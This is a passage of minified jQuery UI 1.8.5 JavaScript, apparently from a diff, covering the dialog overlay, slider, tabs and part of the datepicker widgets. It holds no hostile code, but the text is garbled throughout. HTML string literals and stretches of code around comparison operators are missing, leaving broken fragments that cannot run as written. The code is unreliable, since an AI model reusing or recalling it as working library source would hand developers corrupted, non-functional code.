+b,0)}:{minHeight:0,height:Math.max(a.height-b,0)}).show();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}});c.extend(c.ui.dialog,{version:"1.8.5",uuid:0,maxZ:0,getTitleId:function(a){a=a.attr("id");if(!a){this.uuid+=1;a=this.uuid}return"ui-dialog-title-"+a},overlay:function(a){this.$el=c.ui.dialog.overlay.create(a)}});c.extend(c.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","), +function(a){return a+".dialog-overlay"}).join(" "),create:function(a){if(this.instances.length===0){setTimeout(function(){c.ui.dialog.overlay.instances.length&&c(document).bind(c.ui.dialog.overlay.events,function(d){if(c(d.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(),height:this.height()});c.fn.bgiframe&&b.bgiframe();this.instances.push(b);return b},destroy:function(a){this.oldInstances.push(this.instances.splice(c.inArray(a,this.instances),1)[0]);this.instances.length===0&&c([document,window]).unbind(".dialog-overlay");a.remove();var b=0;c.each(this.instances,function(){b=Math.max(b,this.css("z-index"))});this.maxZ=b},height:function(){var a, +b;if(c.browser.msie&&c.browser.version<7){a=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight);b=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return a");if(!b.values)b.values=[this._valueMin(),this._valueMin()];if(b.values.length&&b.values.length!==2)b.values=[b.values[0],b.values[0]]}else this.range=d("
    ");this.range.appendTo(this.element).addClass("ui-slider-range");if(b.range==="min"||b.range==="max")this.range.addClass("ui-slider-range-"+b.range);this.range.addClass("ui-widget-header")}d(".ui-slider-handle",this.element).length===0&&d("").appendTo(this.element).addClass("ui-slider-handle"); +if(b.values&&b.values.length)for(;d(".ui-slider-handle",this.element).length").appendTo(this.element).addClass("ui-slider-handle");this.handles=d(".ui-slider-handle",this.element).addClass("ui-state-default ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(c){c.preventDefault()}).hover(function(){b.disabled||d(this).addClass("ui-state-hover")},function(){d(this).removeClass("ui-state-hover")}).focus(function(){if(b.disabled)d(this).blur(); +else{d(".ui-slider .ui-state-focus").removeClass("ui-state-focus");d(this).addClass("ui-state-focus")}}).blur(function(){d(this).removeClass("ui-state-focus")});this.handles.each(function(c){d(this).data("index.ui-slider-handle",c)});this.handles.keydown(function(c){var e=true,f=d(this).data("index.ui-slider-handle"),h,g,i;if(!a.options.disabled){switch(c.keyCode){case d.ui.keyCode.HOME:case d.ui.keyCode.END:case d.ui.keyCode.PAGE_UP:case d.ui.keyCode.PAGE_DOWN:case d.ui.keyCode.UP:case d.ui.keyCode.RIGHT:case d.ui.keyCode.DOWN:case d.ui.keyCode.LEFT:e= +false;if(!a._keySliding){a._keySliding=true;d(this).addClass("ui-state-active");h=a._start(c,f);if(h===false)return}break}i=a.options.step;h=a.options.values&&a.options.values.length?(g=a.values(f)):(g=a.value());switch(c.keyCode){case d.ui.keyCode.HOME:g=a._valueMin();break;case d.ui.keyCode.END:g=a._valueMax();break;case d.ui.keyCode.PAGE_UP:g=a._trimAlignValue(h+(a._valueMax()-a._valueMin())/5);break;case d.ui.keyCode.PAGE_DOWN:g=a._trimAlignValue(h-(a._valueMax()-a._valueMin())/5);break;case d.ui.keyCode.UP:case d.ui.keyCode.RIGHT:if(h=== +a._valueMax())return;g=a._trimAlignValue(h+i);break;case d.ui.keyCode.DOWN:case d.ui.keyCode.LEFT:if(h===a._valueMin())return;g=a._trimAlignValue(h-i);break}a._slide(c,f,g);return e}}).keyup(function(c){var e=d(this).data("index.ui-slider-handle");if(a._keySliding){a._keySliding=false;a._stop(c,e);a._change(c,e);d(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-slider-disabled ui-widget ui-widget-content ui-corner-all").removeData("slider").unbind(".slider"); +this._mouseDestroy();return this},_mouseCapture:function(a){var b=this.options,c,e,f,h,g;if(b.disabled)return false;this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();c=this._normValueFromMouse({x:a.pageX,y:a.pageY});e=this._valueMax()-this._valueMin()+1;h=this;this.handles.each(function(i){var j=Math.abs(c-h.values(i));if(e>j){e=j;f=d(this);g=i}});if(b.range===true&&this.values(1)===b.min){g+=1;f=d(this.handles[g])}if(this._start(a, +g)===false)return false;this._mouseSliding=true;h._handleIndex=g;f.addClass("ui-state-active").focus();b=f.offset();this._clickOffset=!d(a.target).parents().andSelf().is(".ui-slider-handle")?{left:0,top:0}:{left:a.pageX-b.left-f.width()/2,top:a.pageY-b.top-f.height()/2-(parseInt(f.css("borderTopWidth"),10)||0)-(parseInt(f.css("borderBottomWidth"),10)||0)+(parseInt(f.css("marginTop"),10)||0)};this._slide(a,g,c);return this._animateOff=true},_mouseStart:function(){return true},_mouseDrag:function(a){var b= +this._normValueFromMouse({x:a.pageX,y:a.pageY});this._slide(a,this._handleIndex,b);return false},_mouseStop:function(a){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(a,this._handleIndex);this._change(a,this._handleIndex);this._clickOffset=this._handleIndex=null;return this._animateOff=false},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(a){var b;if(this.orientation==="horizontal"){b= +this.elementSize.width;a=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{b=this.elementSize.height;a=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}b=a/b;if(b>1)b=1;if(b<0)b=0;if(this.orientation==="vertical")b=1-b;a=this._valueMax()-this._valueMin();return this._trimAlignValue(this._valueMin()+b*a)},_start:function(a,b){var c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b); +c.values=this.values()}return this._trigger("start",a,c)},_slide:function(a,b,c){var e;if(this.options.values&&this.options.values.length){e=this.values(b?0:1);if(this.options.values.length===2&&this.options.range===true&&(b===0&&c>e||b===1&&c1){this.options.values[a]=this._trimAlignValue(b);this._refreshValue();this._change(null,a)}if(arguments.length)if(d.isArray(arguments[0])){c=this.options.values;e=arguments[0];for(f=0;fthis._valueMax())return this._valueMax();var b=this.options.step>0?this.options.step:1,c=a%b;a=a-c;if(Math.abs(c)*2>=b)a+=c>0?b:-b;return parseFloat(a.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var a= +this.options.range,b=this.options,c=this,e=!this._animateOff?b.animate:false,f,h={},g,i,j,l;if(this.options.values&&this.options.values.length)this.handles.each(function(k){f=(c.values(k)-c._valueMin())/(c._valueMax()-c._valueMin())*100;h[c.orientation==="horizontal"?"left":"bottom"]=f+"%";d(this).stop(1,1)[e?"animate":"css"](h,b.animate);if(c.options.range===true)if(c.orientation==="horizontal"){if(k===0)c.range.stop(1,1)[e?"animate":"css"]({left:f+"%"},b.animate);if(k===1)c.range[e?"animate":"css"]({width:f- +g+"%"},{queue:false,duration:b.animate})}else{if(k===0)c.range.stop(1,1)[e?"animate":"css"]({bottom:f+"%"},b.animate);if(k===1)c.range[e?"animate":"css"]({height:f-g+"%"},{queue:false,duration:b.animate})}g=f});else{i=this.value();j=this._valueMin();l=this._valueMax();f=l!==j?(i-j)/(l-j)*100:0;h[c.orientation==="horizontal"?"left":"bottom"]=f+"%";this.handle.stop(1,1)[e?"animate":"css"](h,b.animate);if(a==="min"&&this.orientation==="horizontal")this.range.stop(1,1)[e?"animate":"css"]({width:f+"%"}, +b.animate);if(a==="max"&&this.orientation==="horizontal")this.range[e?"animate":"css"]({width:100-f+"%"},{queue:false,duration:b.animate});if(a==="min"&&this.orientation==="vertical")this.range.stop(1,1)[e?"animate":"css"]({height:f+"%"},b.animate);if(a==="max"&&this.orientation==="vertical")this.range[e?"animate":"css"]({height:100-f+"%"},{queue:false,duration:b.animate})}}});d.extend(d.ui.slider,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Tabs 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Tabs + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(d,p){function u(){return++v}function w(){return++x}var v=0,x=0;d.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:false,cookie:null,collapsible:false,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
    ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
  • #{label}
  • "},_create:function(){this._tabify(true)},_setOption:function(a,e){if(a=="selected")this.options.collapsible&& +e==this.options.selected||this.select(e);else{this.options[a]=e;this._tabify()}},_tabId:function(a){return a.title&&a.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+u()},_sanitizeSelector:function(a){return a.replace(/:/g,"\\:")},_cookie:function(){var a=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+w());return d.cookie.apply(null,[a].concat(d.makeArray(arguments)))},_ui:function(a,e){return{tab:a,panel:e,index:this.anchors.index(a)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var a= +d(this);a.html(a.data("label.tabs")).removeData("label.tabs")})},_tabify:function(a){function e(g,f){g.css("display","");!d.support.opacity&&f.opacity&&g[0].style.removeAttribute("filter")}var b=this,c=this.options,h=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=d(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return d("a",this)[0]});this.panels=d([]);this.anchors.each(function(g,f){var i=d(f).attr("href"),l=i.split("#")[0],q;if(l&&(l===location.toString().split("#")[0]|| +(q=d("base")[0])&&l===q.href)){i=f.hash;f.href=i}if(h.test(i))b.panels=b.panels.add(b._sanitizeSelector(i));else if(i&&i!=="#"){d.data(f,"href.tabs",i);d.data(f,"load.tabs",i.replace(/#.*$/,""));i=b._tabId(f);f.href="#"+i;f=d("#"+i);if(!f.length){f=d(c.panelTemplate).attr("id",i).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(b.panels[g-1]||b.list);f.data("destroy.tabs",true)}b.panels=b.panels.add(f)}else c.disabled.push(g)});if(a){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); +this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(c.selected===p){location.hash&&this.anchors.each(function(g,f){if(f.hash==location.hash){c.selected=g;return false}});if(typeof c.selected!=="number"&&c.cookie)c.selected=parseInt(b._cookie(),10);if(typeof c.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)c.selected= +this.lis.index(this.lis.filter(".ui-tabs-selected"));c.selected=c.selected||(this.lis.length?0:-1)}else if(c.selected===null)c.selected=-1;c.selected=c.selected>=0&&this.anchors[c.selected]||c.selected<0?c.selected:0;c.disabled=d.unique(c.disabled.concat(d.map(this.lis.filter(".ui-state-disabled"),function(g){return b.lis.index(g)}))).sort();d.inArray(c.selected,c.disabled)!=-1&&c.disabled.splice(d.inArray(c.selected,c.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); +if(c.selected>=0&&this.anchors.length){this.panels.eq(c.selected).removeClass("ui-tabs-hide");this.lis.eq(c.selected).addClass("ui-tabs-selected ui-state-active");b.element.queue("tabs",function(){b._trigger("show",null,b._ui(b.anchors[c.selected],b.panels[c.selected]))});this.load(c.selected)}d(window).bind("unload",function(){b.lis.add(b.anchors).unbind(".tabs");b.lis=b.anchors=b.panels=null})}else c.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"));this.element[c.collapsible?"addClass": +"removeClass"]("ui-tabs-collapsible");c.cookie&&this._cookie(c.selected,c.cookie);a=0;for(var j;j=this.lis[a];a++)d(j)[d.inArray(a,c.disabled)!=-1&&!d(j).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");c.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(c.event!=="mouseover"){var k=function(g,f){f.is(":not(.ui-state-disabled)")&&f.addClass("ui-state-"+g)},n=function(g,f){f.removeClass("ui-state-"+g)};this.lis.bind("mouseover.tabs", +function(){k("hover",d(this))});this.lis.bind("mouseout.tabs",function(){n("hover",d(this))});this.anchors.bind("focus.tabs",function(){k("focus",d(this).closest("li"))});this.anchors.bind("blur.tabs",function(){n("focus",d(this).closest("li"))})}var m,o;if(c.fx)if(d.isArray(c.fx)){m=c.fx[0];o=c.fx[1]}else m=o=c.fx;var r=o?function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.hide().removeClass("ui-tabs-hide").animate(o,o.duration||"normal",function(){e(f,o);b._trigger("show", +null,b._ui(g,f[0]))})}:function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");b._trigger("show",null,b._ui(g,f[0]))},s=m?function(g,f){f.animate(m,m.duration||"normal",function(){b.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");e(f,m);b.element.dequeue("tabs")})}:function(g,f){b.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");b.element.dequeue("tabs")};this.anchors.bind(c.event+".tabs", +function(){var g=this,f=d(g).closest("li"),i=b.panels.filter(":not(.ui-tabs-hide)"),l=d(b._sanitizeSelector(g.hash));if(f.hasClass("ui-tabs-selected")&&!c.collapsible||f.hasClass("ui-state-disabled")||f.hasClass("ui-state-processing")||b.panels.filter(":animated").length||b._trigger("select",null,b._ui(this,l[0]))===false){this.blur();return false}c.selected=b.anchors.index(this);b.abort();if(c.collapsible)if(f.hasClass("ui-tabs-selected")){c.selected=-1;c.cookie&&b._cookie(c.selected,c.cookie);b.element.queue("tabs", +function(){s(g,i)}).dequeue("tabs");this.blur();return false}else if(!i.length){c.cookie&&b._cookie(c.selected,c.cookie);b.element.queue("tabs",function(){r(g,l)});b.load(b.anchors.index(this));this.blur();return false}c.cookie&&b._cookie(c.selected,c.cookie);if(l.length){i.length&&b.element.queue("tabs",function(){s(g,i)});b.element.queue("tabs",function(){r(g,l)});b.load(b.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier.";d.browser.msie&&this.blur()});this.anchors.bind("click.tabs", +function(){return false})},_getIndex:function(a){if(typeof a=="string")a=this.anchors.index(this.anchors.filter("[href$="+a+"]"));return a},destroy:function(){var a=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e=d.data(this,"href.tabs");if(e)this.href= +e;var b=d(this).unbind(".tabs");d.each(["href","load","cache"],function(c,h){b.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){d.data(this,"destroy.tabs")?d(this).remove():d(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});a.cookie&&this._cookie(null,a.cookie);return this},add:function(a,e,b){if(b===p)b=this.anchors.length; +var c=this,h=this.options;e=d(h.tabTemplate.replace(/#\{href\}/g,a).replace(/#\{label\}/g,e));a=!a.indexOf("#")?a.replace("#",""):this._tabId(d("a",e)[0]);e.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var j=d("#"+a);j.length||(j=d(h.panelTemplate).attr("id",a).data("destroy.tabs",true));j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(b>=this.lis.length){e.appendTo(this.list);j.appendTo(this.list[0].parentNode)}else{e.insertBefore(this.lis[b]); +j.insertBefore(this.panels[b])}h.disabled=d.map(h.disabled,function(k){return k>=b?++k:k});this._tabify();if(this.anchors.length==1){h.selected=0;e.addClass("ui-tabs-selected ui-state-active");j.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){c._trigger("show",null,c._ui(c.anchors[0],c.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[b],this.panels[b]));return this},remove:function(a){a=this._getIndex(a);var e=this.options,b=this.lis.eq(a).remove(),c=this.panels.eq(a).remove(); +if(b.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(a+(a+1=a?--h:h});this._tabify();this._trigger("remove",null,this._ui(b.find("a")[0],c[0]));return this},enable:function(a){a=this._getIndex(a);var e=this.options;if(d.inArray(a,e.disabled)!=-1){this.lis.eq(a).removeClass("ui-state-disabled");e.disabled=d.grep(e.disabled,function(b){return b!=a});this._trigger("enable",null, +this._ui(this.anchors[a],this.panels[a]));return this}},disable:function(a){a=this._getIndex(a);var e=this.options;if(a!=e.selected){this.lis.eq(a).addClass("ui-state-disabled");e.disabled.push(a);e.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[a],this.panels[a]))}return this},select:function(a){a=this._getIndex(a);if(a==-1)if(this.options.collapsible&&this.options.selected!=-1)a=this.options.selected;else return this;this.anchors.eq(a).trigger(this.options.event+".tabs");return this}, +load:function(a){a=this._getIndex(a);var e=this,b=this.options,c=this.anchors.eq(a)[0],h=d.data(c,"load.tabs");this.abort();if(!h||this.element.queue("tabs").length!==0&&d.data(c,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(a).addClass("ui-state-processing");if(b.spinner){var j=d("span",c);j.data("label.tabs",j.html()).html(b.spinner)}this.xhr=d.ajax(d.extend({},b.ajaxOptions,{url:h,success:function(k,n){d(e._sanitizeSelector(c.hash)).html(k);e._cleanup();b.cache&&d.data(c,"cache.tabs", +true);e._trigger("load",null,e._ui(e.anchors[a],e.panels[a]));try{b.ajaxOptions.success(k,n)}catch(m){}},error:function(k,n){e._cleanup();e._trigger("load",null,e._ui(e.anchors[a],e.panels[a]));try{b.ajaxOptions.error(k,n,a,c)}catch(m){}}}));e.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this},url:function(a, +e){this.anchors.eq(a).removeData("cache.tabs").data("load.tabs",e);return this},length:function(){return this.anchors.length}});d.extend(d.ui.tabs,{version:"1.8.5"});d.extend(d.ui.tabs.prototype,{rotation:null,rotate:function(a,e){var b=this,c=this.options,h=b._rotate||(b._rotate=function(j){clearTimeout(b.rotation);b.rotation=setTimeout(function(){var k=c.selected;b.select(++k')}function E(a,b){d.extend(a, +b);for(var c in b)if(b[c]==null||b[c]==G)a[c]=b[c];return a}d.extend(d.ui,{datepicker:{version:"1.8.5"}});var y=(new Date).getTime();d.extend(L.prototype,{markerClassName:"hasDatepicker",log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(a){E(this._defaults,a||{});return this},_attachDatepicker:function(a,b){var c=null;for(var e in this._defaults){var f=a.getAttribute("date:"+e);if(f){c=c||{};try{c[e]=eval(f)}catch(h){c[e]= +f}}}e=a.nodeName.toLowerCase();f=e=="div"||e=="span";if(!a.id){this.uuid+=1;a.id="dp"+this.uuid}var i=this._newInst(d(a),f);i.settings=d.extend({},b||{},c||{});if(e=="input")this._connectDatepicker(a,i);else f&&this._inlineDatepicker(a,i)},_newInst:function(a,b){return{id:a[0].id.replace(/([^A-Za-z0-9_])/g,"\\\\$1"),input:a,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:b,dpDiv:!b?this.dpDiv:d('
    ')}}, +_connectDatepicker:function(a,b){var c=d(a);b.append=d([]);b.trigger=d([]);if(!c.hasClass(this.markerClassName)){this._attachments(c,b);c.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(e,f,h){b.settings[f]=h}).bind("getData.datepicker",function(e,f){return this._get(b,f)});this._autoSize(b);d.data(a,"datepicker",b)}},_attachments:function(a,b){var c=this._get(b,"appendText"),e=this._get(b,"isRTL");b.append&& +b.append.remove();if(c){b.append=d(''+c+"");a[e?"before":"after"](b.append)}a.unbind("focus",this._showDatepicker);b.trigger&&b.trigger.remove();c=this._get(b,"showOn");if(c=="focus"||c=="both")a.focus(this._showDatepicker);if(c=="button"||c=="both"){c=this._get(b,"buttonText");var f=this._get(b,"buttonImage");b.trigger=d(this._get(b,"buttonImageOnly")?d("").addClass(this._triggerClass).attr({src:f,alt:c,title:c}):d('').addClass(this._triggerClass).html(f== +""?c:d("").attr({src:f,alt:c,title:c})));a[e?"before":"after"](b.trigger);b.trigger.click(function(){d.datepicker._datepickerShowing&&d.datepicker._lastInput==a[0]?d.datepicker._hideDatepicker():d.datepicker._showDatepicker(a[0]);return false})}},_autoSize:function(a){if(this._get(a,"autoSize")&&!a.inline){var b=new Date(2009,11,20),c=this._get(a,"dateFormat");if(c.match(/[DM]/)){var e=function(f){for(var h=0,i=0,g=0;gh){h=f[g].length;i=g}return i};b.setMonth(e(this._get(a, +c.match(/MM/)?"monthNames":"monthNamesShort")));b.setDate(e(this._get(a,c.match(/DD/)?"dayNames":"dayNamesShort"))+20-b.getDay())}a.input.attr("size",this._formatDate(a,b).length)}},_inlineDatepicker:function(a,b){var c=d(a);if(!c.hasClass(this.markerClassName)){c.addClass(this.markerClassName).append(b.dpDiv).bind("setData.datepicker",function(e,f,h){b.settings[f]=h}).bind("getData.datepicker",function(e,f){return this._get(b,f)});d.data(a,"datepicker",b);this._setDate(b,this._getDefaultDate(b), +true);this._updateDatepicker(b);this._updateAlternate(b)}},_dialogDatepicker:function(a,b,c,e,f){a=this._dialogInst;if(!a){this.uuid+=1;this._dialogInput=d('');this._dialogInput.keydown(this._doKeyDown);d("body").append(this._dialogInput);a=this._dialogInst=this._newInst(this._dialogInput,false);a.settings={};d.data(this._dialogInput[0],"datepicker",a)}E(a.settings,e||{});b=b&&b.constructor== +Date?this._formatDate(a,b):b;this._dialogInput.val(b);this._pos=f?f.length?f:[f.pageX,f.pageY]:null;if(!this._pos)this._pos=[document.documentElement.clientWidth/2-100+(document.documentElement.scrollLeft||document.body.scrollLeft),document.documentElement.clientHeight/2-150+(document.documentElement.scrollTop||document.body.scrollTop)];this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px");a.settings.onSelect=c;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]); +d.blockUI&&d.blockUI(this.dpDiv);d.data(this._dialogInput[0],"datepicker",a);return this},_destroyDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();d.removeData(a,"datepicker");if(e=="input"){c.append.remove();c.trigger.remove();b.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else if(e=="div"||e=="span")b.removeClass(this.markerClassName).empty()}}, +_enableDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=false;c.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else if(e=="div"||e=="span")b.children("."+this._inlineClass).children().removeClass("ui-state-disabled");this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f})}},_disableDatepicker:function(a){var b= +d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=true;c.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5",cursor:"default"})}else if(e=="div"||e=="span")b.children("."+this._inlineClass).children().addClass("ui-state-disabled");this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f});this._disabledInputs[this._disabledInputs.length]=a}},_isDisabledDatepicker:function(a){if(!a)return false; +for(var b=0;b-1}},_doKeyUp:function(a){a=d.datepicker._getInst(a.target);if(a.input.val()!=a.lastVal)try{if(d.datepicker.parseDate(d.datepicker._get(a,"dateFormat"),a.input?a.input.val():null,d.datepicker._getFormatConfig(a))){d.datepicker._setDateFromField(a);d.datepicker._updateAlternate(a);d.datepicker._updateDatepicker(a)}}catch(b){d.datepicker.log(b)}return true},_showDatepicker:function(a){a=a.target|| +a;if(a.nodeName.toLowerCase()!="input")a=d("input",a.parentNode)[0];if(!(d.datepicker._isDisabledDatepicker(a)||d.datepicker._lastInput==a)){var b=d.datepicker._getInst(a);d.datepicker._curInst&&d.datepicker._curInst!=b&&d.datepicker._curInst.dpDiv.stop(true,true);var c=d.datepicker._get(b,"beforeShow");E(b.settings,c?c.apply(a,[a,b]):{});b.lastVal=null;d.datepicker._lastInput=a;d.datepicker._setDateFromField(b);if(d.datepicker._inDialog)a.value="";if(!d.datepicker._pos){d.datepicker._pos=d.datepicker._findPos(a); +d.datepicker._pos[1]+=a.offsetHeight}var e=false;d(a).parents().each(function(){e|=d(this).css("position")=="fixed";return!e});if(e&&d.browser.opera){d.datepicker._pos[0]-=document.documentElement.scrollLeft;d.datepicker._pos[1]-=document.documentElement.scrollTop}c={left:d.datepicker._pos[0],top:d.datepicker._pos[1]};d.datepicker._pos=null;b.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});d.datepicker._updateDatepicker(b);c=d.datepicker._checkOffset(b,c,e);b.dpDiv.css({position:d.datepicker._inDialog&& +d.blockUI?"static":e?"fixed":"absolute",display:"none",left:c.left+"px",top:c.top+"px"});if(!b.inline){c=d.datepicker._get(b,"showAnim");var f=d.datepicker._get(b,"duration"),h=function(){d.datepicker._datepickerShowing=true;var i=d.datepicker._getBorders(b.dpDiv);b.dpDiv.find("iframe.ui-datepicker-cover").css({left:-i[0],top:-i[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()})};b.dpDiv.zIndex(d(a).zIndex()+1);d.effects&&d.effects[c]?b.dpDiv.show(c,d.datepicker._get(b,"showOptions"),f, +h):b.dpDiv[c||"show"](c?f:null,h);if(!c||!f)h();b.input.is(":visible")&&!b.input.is(":disabled")&&b.input.focus();d.datepicker._curInst=b}}},_updateDatepicker:function(a){var b=this,c=d.datepicker._getBorders(a.dpDiv);a.dpDiv.empty().append(this._generateHTML(a)).find("iframe.ui-datepicker-cover").css({left:-c[0],top:-c[1],width:a.dpDiv.outerWidth(),height:a.dpDiv.outerHeight()}).end().find("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a").bind("mouseout",function(){d(this).removeClass("ui-state-hover"); +this.className.indexOf("ui-datepicker-prev")!=-1&&d(this).removeClass("ui-datepicker-prev-hover");this.className.indexOf("ui-datepicker-next")!=-1&&d(this).removeClass("ui-datepicker-next-hover")}).bind("mouseover",function(){if(!b._isDisabledDatepicker(a.inline?a.dpDiv.parent()[0]:a.input[0])){d(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");d(this).addClass("ui-state-hover");this.className.indexOf("ui-datepicker-prev")!=-1&&d(this).addClass("ui-datepicker-prev-hover"); +this.className.indexOf("ui-datepicker-next")!=-1&&d(this).addClass("ui-datepicker-next-hover")}}).end().find("."+this._dayOverClass+" a").trigger("mouseover").end();c=this._getNumberOfMonths(a);var e=c[1];e>1?a.dpDiv.addClass("ui-datepicker-multi-"+e).css("width",17*e+"em"):a.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");a.dpDiv[(c[0]!=1||c[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi");a.dpDiv[(this._get(a,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"); +a==d.datepicker._curInst&&d.datepicker._datepickerShowing&&a.input&&a.input.is(":visible")&&!a.input.is(":disabled")&&a.input.focus()},_getBorders:function(a){var b=function(c){return{thin:1,medium:2,thick:3}[c]||c};return[parseFloat(b(a.css("border-left-width"))),parseFloat(b(a.css("border-top-width")))]},_checkOffset:function(a,b,c){var e=a.dpDiv.outerWidth(),f=a.dpDiv.outerHeight(),h=a.input?a.input.outerWidth():0,i=a.input?a.input.outerHeight():0,g=document.documentElement.clientWidth+d(document).scrollLeft(), +k=document.documentElement.clientHeight+d(document).scrollTop();b.left-=this._get(a,"isRTL")?e-h:0;b.left-=c&&b.left==a.input.offset().left?d(document).scrollLeft():0;b.top-=c&&b.top==a.input.offset().top+i?d(document).scrollTop():0;b.left-=Math.min(b.left,b.left+e>g&&g>e?Math.abs(b.left+e-g):0);b.top-=Math.min(b.top,b.top+f>k&&k>f?Math.abs(f+i):0);return b},_findPos:function(a){for(var b=this._get(this._getInst(a),"isRTL");a&&(a.type=="hidden"||a.nodeType!=1);)a=a[b?"previousSibling":"nextSibling"]; +a=d(a).offset();return[a.left,a.top]},_hideDatepicker:function(a){var b=this._curInst;if(!(!b||a&&b!=d.data(a,"datepicker")))if(this._datepickerShowing){a=this._get(b,"showAnim");var 